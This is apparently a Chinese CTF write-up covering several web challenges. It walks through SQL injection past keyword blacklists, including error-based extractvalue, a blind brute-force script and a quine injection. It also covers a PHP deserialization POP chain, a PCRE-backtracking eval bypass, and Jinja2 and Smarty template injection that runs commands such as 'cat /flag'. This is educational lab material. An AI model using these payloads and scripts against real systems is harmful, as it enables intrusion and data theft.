目录
打开界面看见这种,格式一般都是利用管道符然后进行堆叠注入或者报错注入试一下
堆叠注入试了一下被过滤掉了,那就是报错注入喽
- error_reporting(0);
- session_start();
- include_once "config.php";
- global $MysqlLink;
- $MysqlLink = mysqli_connect("127.0.0.1",$datauser,$datapass);
- if(!$MysqlLink) {
- die("Mysql Connect Error!");
- }
- $selectDB = mysqli_select_db($MysqlLink,$dataName);
- if(!$selectDB) {
- die("Choose Database Error!");
- }
- if(isset($_POST['tt'])) {
- $txw4ever = $_POST['tt'];
- $blacklist = "union|left|right|and|or|by|if|\&|sleep|floor|substr|ascii|=|\"|benchmark|as|column|insert|update";
- if(preg_match("/{$blacklist}/is",$txw4ever)) {
- die("不要耍小心思喔~");
- }
- $sql = "select*from Fal_flag where id = '$txw4ever';";
- $result = mysqli_query($MysqlLink,$sql);
- if($result) {
- $row = mysqli_fetch_array($result);
- echo "message: ";
- print_r($row['data']);
- } else {
- echo mysqli_error($MysqlLink);
- }
- } else {
- die("?");
- }
- ?>
or被过滤用 ||代替
= 被过滤用like代替
database里面的as被过滤,通过查询一个不存在的表,通过报错获得表名
-1' || (select * from aa)#
column被过滤,用无列名注入
输出长度限制,mid函数,substr函数t
因为as被过滤所以不能使用,database
因为aa是错误的表名,sqlsql就是正确的表名,通过报错
- 1' || extractvalue(1,concat(0x07, (select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql'), 0x07))#
flag表和output我就直接写正确的表output了
然后要准备得到列名,可是column被过滤了需要想别的方法
1' || extractvalue(1,concat(0x07, (select * from(select * from output b join output c)a), 0x07))#
查询除了字段名data
using(字段名比如 data)就会查询除了data的后面一个的列名依次就可以得到有几列
1' || extractvalue(1,concat(0x07, (select * from(select * from output b join output c using(data))a), 0x07))#
可是这道题直接出了一半flag,说明就这一个字段
题目过滤了 substr,right,left只能用mid了
select group_concat(`1`) from (select 1 union select * from users)as a;
1' || extractvalue(1,concat(0x07, (select data from output), 0x07))#查找到了一半
1' || extractvalue(1,concat(0x07, (select mid(data,28) from output), 0x07))#
拼接获得flag
- Happy New Year~ MAKE A WISH
-
- echo 'Happy New Year~ MAKE A WISH
'; -
- if(isset($_GET['wish'])){
- @unserialize($_GET['wish']);
- }
- else{
- $a=new Road_is_Long;
- highlight_file(__FILE__);
- }
- /***************************pop your 2022*****************************/
-
- class Road_is_Long{
- public $page;
- public $string;
- public function __construct($file='index.php'){
- $this->page = $file;
- }
- public function __toString(){
- return $this->string->page;
- }
-
- public function __wakeup(){
- if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
- echo "You can Not Enter 2022";
- $this->page = "index.php";
- }
- }
- }
-
- class Try_Work_Hard{
- protected $var;
- public function append($value){
- include($value);
- }
- public function __invoke(){
- $this->append($this->var);
- }
- }
-
- class Make_a_Change{
- public $effort;
- public function __construct(){
- $this->effort = array();
- }
-
- public function __get($key){
- $function = $this->effort;
- return $function();
- }
- }
- /**********************Try to See flag.php*****************************/
老规矩找链尾,
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
} 感觉这个就是有文件包含漏洞,然后一步步往上推
public function __invoke(){
$this->append($this->var);
} 看见下面调用了append方法,然后处在invoke,谁调用了invoke一般是a();这样格式
public function __get($key){
$function = $this->effort;
return $function();
} 这调用了invoke,然后想谁调用了get
public function __toString(){
return $this->string->page;
}触发了get属性,然后看看谁触发string属性
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
} 看了半天就这一个输出,触发,wakeup反序列化自动触发,ok链表链接完成串一遍
Try to See flag.php 说明了 $value的值
感觉这道题,写过哈哈哈
-
- class Road_is_Long{
- public $page;
- public $string;
- public function fd(){
-
- $this->string=new Make_a_Change();
- }
-
- public function __construct(){
- $this->page=$this->fd;
-
- }
- }
-
- class Try_Work_Hard{
- protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
- public function append($value){
- include($value);
- }
- public function __construct(){
- $this->append($this->var);
- }
- }
-
- class Make_a_Change{
- public $effort;
- public function __construct($key){
- $this->effort=new Try_Work_Hard();
- }
- }
- $a=new Road_is_Long();
- echo (serialize($a));
- include "check.php";
- if (isset($_REQUEST['letter'])){
- $txw4ever = $_REQUEST['letter'];
- if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
- die("再加把油喔");
- }
- else{
- $command = json_decode($txw4ever,true)['cmd'];
- checkdata($command);
- @eval($command);
- }
- }
- else{
- highlight_file(__FILE__);
- }
- ?>
打开界面,rce题目
json_encode:接受一个 JSON 格式的字符串并且把它转换为 PHP 变量,如果是true则返回array并非object
checkdata检测绕过,手段
/\^|\||\~|assert|print|include|require|\(|echo|flag|data|php|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk|tcp|cat|tac/i
/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m .*有好几个,这里采用回溯绕过
知识点:PHP利用PCRE回溯次数限制绕过某些安全限制 - FreeBuf网络安全行业门户
主要就是回溯次数大于1000000会返回false进行绕过
系统命令执行用反引号 `,因为别的过滤掉了
eval里面用短标签 ?>= phpinfo(); ?> 来绕过过滤echo,无法输出的情况
import requests
payload = '{"cmd":"?>= `tail /f*`?>", "$":"'+"$"*(1000000) + '"}' $换成特殊符号也可以加号链接的作用
res = requests.post("http://1.14.71.254:28131/",data = {"letter":payload})
print(res.text)
上传$n次,绕过返回false,绕过checkdata,最后执行eval
知识点:python盲注
quine注入CTFHub_2021-第五空间智能安全大赛-Web-yet_another_mysql_injection(quine注入) - zhengna - 博客园
根据提示,账号为 bilala密码是post自己传参获得试一下
import requests url='http://1.14.71.254:28279/login.php' dict = '0123456789qwertyuiopasdfghjklzxcvbnm-' flag='' for j in range(50): for i in dict: data={ "username":"bilala", "passwd":f"1'/**/or/**/passwd/**/like/**/'{flag+i}%'#" } res=requests.post(url,data=data) if "nothing found" not in res.text: flag=flag+i print(flag) break
爆破出了密码,登录就获取一个源码
- //多加了亿点点过滤
-
- include_once("config.php");
- function alertMes($mes,$url){
- die("");
- }
-
- function checkSql($s) {
- if(preg_match("/if|regexp|between|in|flag|=|>|<|and|\||right|left|insert|database|reverse|update|extractvalue|floor|join|substr|&|;|\\\$|char|\x0a|\x09|column|sleep|\ /i",$s)){
- alertMes('waf here', 'index.php');
- }
- }
-
- if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['passwd']) && $_POST['passwd'] != '') {
- $username=$_POST['username'];
- $password=$_POST['passwd'];
- if ($username !== 'bilala') {
- alertMes('only bilala can login', 'index.php');
- }
- checkSql($password);
- $sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";
- $user_result=mysqli_query($MysqlLink,$sql);
- $row = mysqli_fetch_array($user_result);
- if (!$row) {
- alertMes('nothing found','index.php');
- }
- if ($row['passwd'] === $password) {
- if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
- show_source(__FILE__);
- die;
- }
- else{
- die($FLAG);
- }
- } else {
- alertMes("wrong password",'index.php');
- }
- }
-
- ?>
-
- 译
if ($row['passwd'] === $password) {
if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
show_source(__FILE__);
die;
}
else{
die($FLAG);
}
} else {
alertMes("wrong password",'index.php');
}
重点在这伊利,数据库中的passwd和输入的password一样,然后 passwordb2f2d15b3ae082ca29697d8dcd420fd7'不等于才可以 die flag
这里拿到flag的条件就是密码不为b2f2d15b3ae082ca29697d8dcd420fd7
且能登陆成功
题中还过滤了char,用chr或者直接0x代替即可。
0x、char、chr三个等价
0x22, 双引号 char (34) ==
0x27 单引号 char (39)
相信有人纳闷,这道题为什么是%而不是. 因为 0x25是%的16进制改为
0x2e . 也是可以的
username=bilala&passwd='/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')#&login=%E7%99%BB%E5%BD%95
基本形式
例子: 1'/**/union/**/select/**/replace(replace('',char(34),char(39)),char(46),'')# 可理解成我们的Quine的基本形式 1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")# 这个就是我们str的基本形式 先将str里的双引号替换成单引号 1'/**/union/**/select/**/replace(replace('.',char(34),char(39)),char(46),'.')# 最终通过来回替换的形式达到了我们的目的最后:合并起来替换str
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
今天下午刚看了看ssti 模板注入,知识点然后准备做题巩固一下
打开界面源码,啥都没有,看界面上 欢迎查找secret,看一下这个目录
感觉像是一个 get传参,
发现这行特殊的点开后由源码的,
rc4是一个加密手段,
- import base64
- from urllib import parse
-
- def rc4_main(key = "init_key", message = "init_message"):#返回加密后得内容
- s_box = rc4_init_sbox(key)
- crypt = str(rc4_excrypt(message, s_box))
- return crypt
-
- def rc4_init_sbox(key):
- s_box = list(range(256))
- j = 0
- for i in range(256):
- j = (j + s_box[i] + ord(key[i % len(key)])) % 256
- s_box[i], s_box[j] = s_box[j], s_box[i]
- return s_box
- def rc4_excrypt(plain, box):
- res = []
- i = j = 0
- for s in plain:
- i = (i + 1) % 256
- j = (j + box[i]) % 256
- box[i], box[j] = box[j], box[i]
- t = (box[i] + box[j]) % 256
- k = box[t]
- res.append(chr(ord(s) ^ k))
- cipher = "".join(res)
- return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
-
- key = "HereIsTreasure" #此处为密文
- message = input("请输入明文:\n")
- enc_base64 = rc4_main( key , message )
- enc_init = str(base64.b64decode(enc_base64),'utf-8')
- enc_url = parse.quote(enc_init)
- print("rc4加密后的url编码:"+enc_url)
- #print("rc4加密后的base64编码"+enc_base64)
- 折叠
找来大佬的脚本,
扫目录调用ls
{% for c in [].__class__.__base__.__subclasses__() %} 获得子类
{% if c.__name__=='catch_warnings' %} 为了获得eval的位置
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}
{% endif %}
{% endfor %}
输入到secret=出现flag.txt
把执行命令改为 cat /flag.txt获得flag
打开界面,发现最下面显示,用smarty模板注入
相关知识:Smarty SSTI_合天网安实验室的博客-CSDN博客
打开整道题都是说明的ip右上角也有ip,用到 x-forwarded-for试一下有没有模板注入
发生了改变4通过,smart模板的标签{if}
{if phpinfo()}{/if} // {/if} 相当于endif一个结束标记
{$smarty.version}来查看版本号,根据版本号选择相应的标签命令
php5可以使用
但这道题php是php7,配置环境可以看见,
然后命令执行,查看目录--》获取flag
{if system('cat /flag')}{/if} 结束
对于别人可能是签到提,的难度可是对我...
打开界面原本以为就是一道文件上传的题目
然后上传发现过滤了后缀,php,php5,html和flag,用\绕过fl\ag,图片码上传成功
可是建议链接为空,呃呃呃。
最后才得知,search既然有图片查看的功能,说明就有查询的功能
我为何不直接查取flag呢,返回为空
Linux中,flag在根目录,/flag
做完学的蛮多的,认识了好多漏洞,以后慢慢看巩固巩固